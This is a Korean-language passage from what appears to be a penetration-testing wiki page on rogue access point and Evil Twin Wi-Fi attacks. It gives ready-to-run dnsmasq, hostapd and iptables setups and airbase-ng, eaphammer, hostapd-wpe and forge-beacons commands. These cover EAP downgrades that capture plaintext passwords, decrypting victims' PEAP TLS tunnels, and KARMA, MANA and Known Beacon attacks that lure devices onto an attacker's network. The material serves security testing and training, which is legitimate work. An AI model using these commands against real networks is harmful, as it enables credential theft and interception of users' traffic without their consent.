|
|
### 네트워크 선택 및 로밍
|
|
|
|
- 802.11 프로토콜은 스테이션이 확장 서비스 세트(ESS)에 가입하는 방법을 정의하지만, ESS 또는 그 안의 액세스 포인트(AP)를 선택하는 기준은 명시하지 않습니다.
|
|
- 스테이션은 동일한 ESSID를 공유하는 AP 간에 로밍할 수 있으며, 건물이나 지역 전반에 걸쳐 연결성을 유지합니다.
|
|
- 프로토콜은 ESS에 대한 스테이션 인증을 요구하지만, 스테이션에 대한 AP 인증을 의무화하지 않습니다.
|
|
|
|
### 선호 네트워크 목록(PNL)
|
|
|
|
- 스테이션은 연결하는 모든 무선 네트워크의 ESSID를 선호 네트워크 목록(PNL)에 저장하며, 네트워크별 구성 세부정보도 함께 저장합니다.
|
|
- PNL은 알려진 네트워크에 자동으로 연결하는 데 사용되어, 연결 프로세스를 간소화하여 사용자 경험을 향상시킵니다.
|
|
|
|
### 수동 스캔
|
|
|
|
- AP는 주기적으로 비콘 프레임을 방송하여 자신의 존재와 기능을 알리며, AP의 ESSID를 포함합니다(방송이 비활성화되지 않은 경우).
|
|
- 수동 스캔 중에 스테이션은 비콘 프레임을 수신합니다. 비콘의 ESSID가 스테이션의 PNL에 있는 항목과 일치하면, 스테이션은 해당 AP에 자동으로 연결될 수 있습니다.
|
|
- 장치의 PNL에 대한 지식은 알려진 네트워크의 ESSID를 모방하여 장치를 악성 AP에 연결하도록 속일 수 있는 잠재적 악용을 가능하게 합니다.
|
|
|
|
### 능동 프로빙
|
|
|
|
- 능동 프로빙은 스테이션이 근처 AP와 그 특성을 발견하기 위해 프로브 요청을 보내는 것입니다.
|
|
- 지향 프로브 요청은 특정 ESSID를 목표로 하여, 특정 네트워크가 범위 내에 있는지 감지하는 데 도움을 줍니다. 숨겨진 네트워크일지라도 가능합니다.
|
|
- 브로드캐스트 프로브 요청은 SSID 필드가 비어 있으며, 모든 근처 AP에 전송되어 스테이션이 PNL 내용을 공개하지 않고도 선호 네트워크를 확인할 수 있게 합니다.
|
|
|
|
## 인터넷으로 리디렉션하는 간단한 AP
|
|
|
|
더 복잡한 공격을 수행하는 방법을 설명하기 전에, **AP**를 **생성**하고 **트래픽**을 **인터넷**에 연결된 인터페이스로 **리디렉션**하는 **방법**을 설명합니다.
|
|
|
|
`ifconfig -a`를 사용하여 AP를 생성할 wlan 인터페이스와 인터넷에 연결된 인터페이스가 존재하는지 확인합니다.
|
|
|
|
### DHCP & DNS
|
|
```bash
|
|
apt-get install dnsmasq #Manages DHCP and DNS
|
|
```
|
|
`/etc/dnsmasq.conf` 파일을 생성합니다:
|
|
```ini
|
|
interface=wlan0
|
|
dhcp-authoritative
|
|
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
|
|
dhcp-option=3,192.168.1.1
|
|
dhcp-option=6,192.168.1.1
|
|
server=8.8.8.8
|
|
log-queries
|
|
log-dhcp
|
|
listen-address=127.0.0.1
|
|
```
|
|
그런 다음 **IP**와 **경로**를 설정합니다:
|
|
```bash
|
|
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
|
|
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
|
|
```
|
|
그리고 **dnsmasq**를 **시작**합니다:
|
|
```bash
|
|
dnsmasq -C dnsmasq.conf -d
|
|
```
|
|
### hostapd
|
|
```bash
|
|
apt-get install hostapd
|
|
```
|
|
`hostapd.conf` 파일을 생성합니다:
|
|
```ini
|
|
interface=wlan0
|
|
driver=nl80211
|
|
ssid=MITIWIFI
|
|
hw_mode=g
|
|
channel=11
|
|
macaddr_acl=0
|
|
ignore_broadcast_ssid=0
|
|
auth_algs=1
|
|
wpa=2
|
|
wpa_passphrase=mitmwifi123
|
|
wpa_key_mgmt=WPA-PSK
|
|
wpa_pairwise=CCMP
|
|
wpa_group_rekey=86400
|
|
ieee80211n=1
|
|
wme_enabled=1
|
|
```
|
|
**불필요한 프로세스 중지**, **모니터 모드 설정**, 및 **hostapd 시작**:
|
|
```bash
|
|
airmon-ng check kill
|
|
iwconfig wlan0 mode monitor
|
|
ifconfig wlan0 up
|
|
hostapd ./hostapd.conf
|
|
```
|
|
### 포워딩 및 리디렉션
|
|
```bash
|
|
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
|
|
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
|
|
echo 1 > /proc/sys/net/ipv4/ip_forward
|
|
```
|
|
## Evil Twin
|
|
|
|
악성 쌍둥이 공격은 WiFi 클라이언트가 네트워크를 인식하는 방식을 악용하며, 주로 네트워크 이름(ESSID)에 의존하고 기본 스테이션(액세스 포인트)이 클라이언트에 대해 인증할 필요가 없습니다. 주요 사항은 다음과 같습니다:
|
|
|
|
- **구별의 어려움**: 장치들은 동일한 ESSID와 암호화 유형을 공유하는 경우 합법적인 액세스 포인트와 악성 액세스 포인트를 구별하는 데 어려움을 겪습니다. 실제 네트워크는 종종 동일한 ESSID를 가진 여러 액세스 포인트를 사용하여 원활하게 범위를 확장합니다.
|
|
- **클라이언트 로밍 및 연결 조작**: 802.11 프로토콜은 장치가 동일한 ESS 내의 액세스 포인트 간에 로밍할 수 있도록 허용합니다. 공격자는 장치를 현재 기본 스테이션에서 분리하고 악성 스테이션에 연결하도록 유도하여 이를 악용할 수 있습니다. 이는 더 강한 신호를 제공하거나 비인증 패킷이나 재밍과 같은 방법을 통해 합법적인 액세스 포인트와의 연결을 방해함으로써 달성할 수 있습니다.
|
|
- **실행의 어려움**: 여러 개의 잘 배치된 액세스 포인트가 있는 환경에서 악성 쌍둥이 공격을 성공적으로 실행하는 것은 어려울 수 있습니다. 단일 합법적인 액세스 포인트의 인증을 해제하면 장치가 다른 합법적인 액세스 포인트에 연결되는 경우가 많으며, 공격자가 모든 인근 액세스 포인트의 인증을 해제하거나 악성 액세스 포인트를 전략적으로 배치할 수 없는 한 그렇습니다.
|
|
|
|
아주 기본적인 Open Evil Twin(인터넷으로 트래픽을 라우팅할 수 있는 기능 없음)을 만들 수 있습니다:
|
|
```bash
|
|
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
|
|
```
|
|
**eaphammer**를 사용하여 Evil Twin을 생성할 수도 있습니다(악성 쌍둥이를 생성하기 위해서는 **모니터** 모드에 있지 않아야 합니다):
|
|
```bash
|
|
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
|
|
```
|
|
Airgeddon을 사용하는 경우: `Options: 5,6,7,8,9 (Evil Twin 공격 메뉴 내에서).`
|
|
|
|
.png>)
|
|
|
|
기본적으로 PNL에 ESSID가 WPA로 보호되어 저장되어 있으면, 장치는 자동으로 Open evil Twin에 연결되지 않습니다. 실제 AP를 DoS 공격하여 사용자가 수동으로 Open evil twin에 연결하기를 기대할 수 있으며, 또는 실제 AP를 DoS 공격하고 WPA Evil Twin을 사용하여 핸드셰이크를 캡처할 수 있습니다(이 방법을 사용하면 PSK를 알지 못하므로 피해자가 당신에게 연결할 수는 없지만, 핸드셰이크를 캡처하고 이를 크랙하려고 시도할 수 있습니다).
|
|
|
|
_일부 OS 및 AV는 사용자가 Open 네트워크에 연결하는 것이 위험하다고 경고할 것입니다..._
|
|
|
|
### WPA/WPA2 Evil Twin
|
|
|
|
**WPA/2를 사용하여 Evil Twin을 생성할 수** 있으며, 장치가 WPA/2로 해당 SSID에 연결하도록 구성되어 있다면 연결을 시도할 것입니다. 어쨌든, **4-way-handshake를 완료하려면** 클라이언트가 사용할 **비밀번호**를 **알아야** 합니다. **모르시면** **연결이 완료되지 않습니다.**
|
|
```bash
|
|
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
|
|
```
|
|
### Enterprise Evil Twin
|
|
|
|
이 공격을 이해하기 위해서는 먼저 간단한 [WPA Enterprise 설명](#wpa-enterprise-mgt)을 읽는 것이 좋습니다.
|
|
|
|
**hostapd-wpe 사용하기**
|
|
|
|
`hostapd-wpe`는 작동하기 위해 **구성** 파일이 필요합니다. 이러한 구성을 **자동화**하려면 [https://github.com/WJDigby/apd_launchpad](https://github.com/WJDigby/apd_launchpad)를 사용할 수 있습니다 (파일을 _/etc/hostapd-wpe/_ 안에서 다운로드하세요).
|
|
```bash
|
|
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
|
|
hostapd-wpe ./victim/victim.conf -s
|
|
```
|
|
구성 파일에서 ssid, 채널, 사용자 파일, cret/key, dh 매개변수, wpa 버전 및 인증과 같은 다양한 항목을 선택할 수 있습니다...
|
|
|
|
[**EAP-TLS를 사용하여 모든 인증서로 로그인할 수 있도록 hostapd-wpe 사용하기.**](evil-twin-eap-tls.md)
|
|
|
|
**EAPHammer 사용하기**
|
|
```bash
|
|
# Generate Certificates
|
|
./eaphammer --cert-wizard
|
|
|
|
# Launch Attack
|
|
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
|
|
```
|
|
기본적으로 EAPHammer는 이 인증 방법을 제안합니다(평문 비밀번호를 얻기 위해 가장 먼저 시도하는 GTC와 그 다음에 더 강력한 인증 방법의 사용을 주목하십시오):
|
|
```
|
|
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
|
|
```
|
|
이것은 긴 연결 시간을 피하기 위한 기본 방법론입니다. 그러나 인증 방법을 가장 약한 것부터 가장 강한 것까지 서버에 지정할 수도 있습니다:
|
|
```
|
|
--negotiate weakest
|
|
```
|
|
또한 다음을 사용할 수 있습니다:
|
|
|
|
- `--negotiate gtc-downgrade`를 사용하여 매우 효율적인 GTC 다운그레이드 구현(평문 비밀번호)을 사용합니다.
|
|
- `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP`를 사용하여 제공되는 방법을 수동으로 지정합니다(조직과 동일한 순서로 동일한 인증 방법을 제공하면 공격을 탐지하기가 훨씬 더 어려워집니다).
|
|
- [위키에서 더 많은 정보를 찾으세요](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
|
|
|
|
**Airgeddon 사용하기**
|
|
|
|
`Airgeddon`은 이전에 생성된 인증서를 사용하여 WPA/WPA2-Enterprise 네트워크에 EAP 인증을 제공합니다. 가짜 네트워크는 연결 프로토콜을 EAP-MD5로 다운그레이드하여 **사용자와 비밀번호의 MD5를 캡처할 수 있습니다**. 이후 공격자는 비밀번호를 크랙하려고 시도할 수 있습니다.\
|
|
`Airgeddon`은 **지속적인 Evil Twin 공격(소음)** 또는 **누군가 연결될 때까지 Evil Attack만 생성(부드럽게)** 할 수 있는 가능성을 제공합니다.
|
|
|
|
.png>)
|
|
|
|
### Evil Twins 공격에서 PEAP 및 EAP-TTLS TLS 터널 디버깅
|
|
|
|
_이 방법은 PEAP 연결에서 테스트되었지만 임의의 TLS 터널을 복호화하고 있으므로 EAP-TTLS에서도 작동해야 합니다._
|
|
|
|
**configuration**의 _hostapd-wpe_에서 **dh_file**이 포함된 줄을 **주석 처리**합니다(`dh_file=/etc/hostapd-wpe/certs/dh`에서 `#dh_file=/etc/hostapd-wpe/certs/dh`로)\
|
|
이렇게 하면 `hostapd-wpe`가 **DH 대신 RSA를 사용하여 키를 교환**하므로 **서버의 개인 키를 알고 있으면** 나중에 트래픽을 **복호화**할 수 있습니다.
|
|
|
|
이제 수정된 구성으로 **`hostapd-wpe`**를 사용하여 **Evil Twin**을 시작합니다. 또한 **Evil Twin 공격을 수행하는 인터페이스에서 `wireshark`**를 시작합니다.
|
|
|
|
이제 또는 나중에(인증 시도가 캡처된 후) `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`에서 wireshark에 개인 RSA 키를 추가할 수 있습니다.
|
|
|
|
새 항목을 추가하고 다음 값으로 양식을 채웁니다: **IP 주소 = any** -- **포트 = 0** -- **프로토콜 = data** -- **키 파일** (**키 파일 선택**, 문제를 피하기 위해 **비밀번호로 보호되지 않은 키 파일**을 선택합니다).
|
|
|
|
.png>)
|
|
|
|
새 **"Decrypted TLS" 탭**을 확인하세요:
|
|
|
|
.png>)
|
|
|
|
## KARMA, MANA, Loud MANA 및 알려진 비콘 공격
|
|
|
|
### ESSID 및 MAC 블랙/화이트리스트
|
|
|
|
다양한 유형의 미디어 접근 제어 필터 목록(MFACL)과 해당 모드 및 악성 액세스 포인트(AP)의 동작에 미치는 영향:
|
|
|
|
1. **MAC 기반 화이트리스트**:
|
|
- 악성 AP는 화이트리스트에 지정된 장치의 프로브 요청에만 응답하며, 나열되지 않은 모든 장치에는 보이지 않습니다.
|
|
2. **MAC 기반 블랙리스트**:
|
|
- 악성 AP는 블랙리스트에 있는 장치의 프로브 요청을 무시하여 해당 특정 장치에 대해 악성 AP가 보이지 않게 만듭니다.
|
|
3. **SSID 기반 화이트리스트**:
|
|
- 악성 AP는 나열된 특정 ESSID에 대해서만 프로브 요청에 응답하여, 해당 ESSID가 포함되지 않은 장치에는 보이지 않게 만듭니다.
|
|
4. **SSID 기반 블랙리스트**:
|
|
- 악성 AP는 블랙리스트에 있는 특정 ESSID에 대한 프로브 요청에 응답하지 않으며, 해당 특정 네트워크를 찾는 장치에는 보이지 않게 만듭니다.
|
|
```bash
|
|
# example EAPHammer MFACL file, wildcards can be used
|
|
09:6a:06:c8:36:af
|
|
37:ab:46:7a:9a:7c
|
|
c7:36:8c:b2:*:*
|
|
|
|
[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
|
|
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
|
|
```
|
|
|
|
```bash
|
|
# example ESSID-based MFACL file
|
|
name1
|
|
name2
|
|
name3
|
|
|
|
[--ssid-whitelist /path/to/mac/whitelist/file.txt]
|
|
[--ssid-blacklist /path/to/mac/blacklist/file.txt]
|
|
```
|
|
### KARMA
|
|
|
|
이 방법은 **공격자가 네트워크에 연결하려는 장치의 모든 프로브 요청에 응답하는 악성 액세스 포인트(AP)를 생성할 수 있게 해줍니다**. 이 기술은 **장치가 찾고 있는 네트워크를 모방하여 장치를 공격자의 AP에 연결하도록 속입니다**. 장치가 이 악성 AP에 연결 요청을 보내면 연결이 완료되어 장치가 실수로 공격자의 네트워크에 연결됩니다.
|
|
|
|
### MANA
|
|
|
|
그 후, **장치가 원치 않는 네트워크 응답을 무시하기 시작하여 원래의 카르마 공격의 효과가 감소했습니다**. 그러나 **MANA 공격**으로 알려진 새로운 방법이 Ian de Villiers와 Dominic White에 의해 도입되었습니다. 이 방법은 악성 AP가 **장치의 방송 프로브 요청에 응답하여 장치가 이전에 요청한 네트워크 이름(SSID)으로 선호 네트워크 목록(PNL)을 캡처하는** 것을 포함합니다. 이 정교한 공격은 장치가 알려진 네트워크를 기억하고 우선순위를 매기는 방식을 이용하여 원래의 카르마 공격에 대한 보호를 우회합니다.
|
|
|
|
MANA 공격은 장치의 지향 및 방송 프로브 요청을 모두 모니터링하여 작동합니다. 지향 요청의 경우, 장치의 MAC 주소와 요청된 네트워크 이름을 기록하여 이 정보를 목록에 추가합니다. 방송 요청이 수신되면 AP는 장치의 목록에 있는 네트워크와 일치하는 정보를 제공하여 장치가 악성 AP에 연결하도록 유도합니다.
|
|
```bash
|
|
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
|
|
```
|
|
### Loud MANA
|
|
|
|
A **Loud MANA attack**는 장치가 지향 프로빙을 사용하지 않거나 공격자에게 선호 네트워크 목록(Preferred Network Lists, PNL)이 알려지지 않은 경우에 대한 고급 전략입니다. 이 공격은 **같은 지역에 있는 장치들이 PNL에서 일부 네트워크 이름을 공유할 가능성이 높다는 원칙**에 기반합니다. 선택적으로 응답하는 대신, 이 공격은 관찰된 모든 장치의 결합된 PNL에서 발견된 모든 네트워크 이름(ESSID)에 대해 프로브 응답을 방송합니다. 이 광범위한 접근 방식은 장치가 친숙한 네트워크를 인식하고 악성 액세스 포인트(Access Point, AP)에 연결을 시도할 가능성을 높입니다.
|
|
```bash
|
|
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
|
|
```
|
|
### Known Beacon attack
|
|
|
|
**Loud MANA 공격**이 충분하지 않을 때, **Known Beacon attack**은 또 다른 접근 방식을 제공합니다. 이 방법은 **단어 목록에서 파생된 잠재적 ESSID 목록을 순환하며, 모든 네트워크 이름에 응답하는 AP를 시뮬레이션하여 연결 프로세스를 무차별 대입합니다**. 이는 여러 네트워크의 존재를 시뮬레이션하여 피해자의 PNL 내에서 ESSID와 일치하기를 희망하며, 조작된 AP에 대한 연결 시도를 유도합니다. 이 공격은 `--loud` 옵션과 결합하여 장치를 포획하기 위한 보다 공격적인 시도를 통해 증폭될 수 있습니다.
|
|
|
|
Eaphammer는 이 공격을 MANA 공격으로 구현했으며, 목록 내의 모든 ESSID가 사용됩니다 (여기에 `--loud`를 결합하여 Loud MANA + Known beacons 공격을 생성할 수도 있습니다):
|
|
```bash
|
|
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
|
|
```
|
|
**Known Beacon Burst attack**
|
|
|
|
**Known Beacon Burst attack**는 **파일에 나열된 각 ESSID에 대해 비콘 프레임을 빠르게 방송하는 것**을 포함합니다. 이는 가짜 네트워크의 밀집된 환경을 생성하여, 특히 MANA 공격과 결합할 때 장치가 악성 AP에 연결될 가능성을 크게 높입니다. 이 기술은 속도와 양을 활용하여 장치의 네트워크 선택 메커니즘을 압도합니다.
|
|
```bash
|
|
# transmit a burst of 5 forged beacon packets for each entry in list
|
|
./forge-beacons -i wlan1 \
|
|
--bssid de:ad:be:ef:13:37 \
|
|
--known-essids-file known-s.txt \
|
|
--dst-addr 11:22:33:11:22:33 \
|
|
--burst-count 5
|
|
```
|
|
## Wi-Fi Direct
|
|
|
|
**Wi-Fi Direct**는 전통적인 무선 액세스 포인트 없이 Wi-Fi를 사용하여 장치가 서로 직접 연결할 수 있도록 하는 프로토콜입니다. 이 기능은 프린터 및 텔레비전과 같은 다양한 사물인터넷(IoT) 장치에 통합되어 장치 간의 직접 통신을 용이하게 합니다. Wi-Fi Direct의 주목할 만한 특징은 한 장치가 그룹 소유자로 알려진 액세스 포인트 역할을 하여 연결을 관리한다는 것입니다.
|
|
|
|
Wi-Fi Direct 연결의 보안은 **Wi-Fi Protected Setup (WPS)**를 통해 설정되며, 안전한 페어링을 위한 여러 방법을 지원합니다:
|
|
|
|
- **Push-Button Configuration (PBC)**
|
|
- **PIN 입력**
|
|
- **Near-Field Communication (NFC)**
|
|
|
|
이 방법들은 특히 PIN 입력이 전통적인 Wi-Fi 네트워크의 WPS와 동일한 취약점에 노출되어 있어 유사한 공격 벡터의 표적이 됩니다.
|
|
|
|
### EvilDirect Hijacking
|
|
|
|
**EvilDirect Hijacking**은 Wi-Fi Direct에 특정한 공격입니다. 이는 Evil Twin 공격의 개념을 반영하지만 Wi-Fi Direct 연결을 목표로 합니다. 이 시나리오에서 공격자는 합법적인 그룹 소유자를 가장하여 장치가 악의적인 엔티티에 연결되도록 속입니다. 이 방법은 `airbase-ng`와 같은 도구를 사용하여 채널, ESSID 및 가장한 장치의 MAC 주소를 지정하여 실행할 수 있습니다.
|
|
|
|
## References
|
|
|
|
- [https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee](https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee)
|
|
- [https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9](https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9)
|
|
- [https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38](https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38)
|
|
- [https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d](https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d)
|
|
- [https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf](https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf)
|
|
- [http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
|
|
- [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
|
|
- [https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d](https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d)
|
|
- [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>)
|
|
- [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
|
|
|
|
TODO: Take a look to [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login con facebook e imitacionde WPA en captive portals)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|